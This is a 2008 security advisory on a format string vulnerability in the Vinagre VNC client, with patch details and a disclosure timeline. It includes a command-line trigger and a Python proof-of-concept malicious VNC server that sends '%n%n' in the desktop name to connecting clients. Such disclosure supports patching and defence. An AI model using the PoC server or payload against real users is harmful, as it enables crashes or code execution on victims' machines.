Vinagre show_error() Format String Vulnerability

1. Advisory Information

Title: Vinagre show_error() format string vulnerability
Advisory ID: CORE-2008-1127
Advisory URL: http://www.coresecurity.com/core-labs/advisories/vinagre-format-string
Date published: 2008-12-09
Date of last update: 2008-12-09
Vendors contacted: Vinagre team
Release mode: Coordinated release

2. Vulnerability Information

Class: Format string
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 32682
CVE Name: N/A

3. Vulnerability Description

Vinagre [1] is a VNC client for the GNOME Desktop. A format string error has been found on the vinagre_utils_show_error() function that can be exploited via commands issued from a malicious server containing format string specifiers on the VNC name.

In a web based attack scenario, the user would be required to connect to a malicious server. Successful exploitation would then allow the attacker to execute arbitrary code with the privileges of the Vinagre user.

4. Vulnerable packages

  • Vinagre 2.24.1 and previous versions

5. Non-vulnerable packages

  • Vinagre 2.24.2

6. Vendor Information, Solutions and Workarounds

The Vinagre team has released a fixed version, available at http://ftp.acc.umu.se/pub/GNOME/sources/vinagre/2.24/vinagre-2.24.2.tar.gz

7. Credits

This vulnerability was discovered and researched by Alfredo Ortega from Core Security Technologies.

8. Technical Description / Proof of Concept Code

The function vinagre_utils_show_error() on src/vinagre-utils.c follows:

57 void 58 vinagre_utils_show_error (const gchar *message, GtkWindow *parent) 59 { 60 GtkWidget 
*d; 61 62 d = gtk_message_dialog_new (parent, 63 GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT, 
64 GTK_MESSAGE_ERROR, 65 GTK_BUTTONS_CLOSE, 66 message); ....

Here, the "message" string is the format specifier for the function gtk_message_dialog_new(), but may be controlled by the user in many ways. The simplest is the invocation of vinagre via a command line, Ex.:

~$vinagre %n%n

But the vulnerability can also be triggered remotely via a malicious vnc server.

8.1. Proof Of Concept

The following python script implements a basic vnc server that triggers the vulnerability:

## ## Gnome Vinagre format string PoC VNC SERVER ## import socket import struct #create an 
INET, STREAMing socket serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
#bind the socket to a public host, # and a well-known port serversocket.bind(("0.0.0.0", 5900)) 
#become a server socket serversocket.listen(5) while 1: #accept connections from outside (clientsocket,
 address) = serversocket.accept() print "accept" # version handshake clientsocket.send("RFB 003.008\n") 
resp=clientsocket.recv(100) print resp # security types (none) clientsocket.send("\x01\x01") 
resp=clientsocket.recv(100) if resp=="\x01": print "security: none" clientsocket.send("\x00\x00\x00\x00") 
#OK else: exit(-1) # share desktop flag? resp=clientsocket.recv(100) #framebuffer parameters clientsocket
.send("\x02\xd0\x01\x90\x20\x20\x00\x01\x00\xff\x00\xff\x00\xff\x10\x08\x00\x00\x00\x00\x00\x00\x00\x04%n%n") 
#OK resp=clientsocket.recv(100) clientsocket.close()

9. Report Timeline

  • 2008-12-01: Core Security Technologies notifies the Vinagre team of the vulnerability.
  • 2008-12-02: Vinagre team asks Core for a technical description of the vulnerability.
  • 2008-12-02: Technical details sent to Vinagre team by Core.
  • 2008-12-02: Vinagre team notifies Core this issue has been fixed in the development branch, and that a new version will be available soon.
  • 2008-12-05: Core asks Vinagre team if the new version is available.
  • 2008-12-05: Vinagre team releases the Vinagre 2.24.2 version, which fixes this issue.
  • 2008-12-09: The advisory CORE-2008-1127 is published.

10. References

[1] http://projects.gnome.org/vinagre/.

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.

12. About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached at https://www.coresecurity.com.

13. Disclaimer

The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.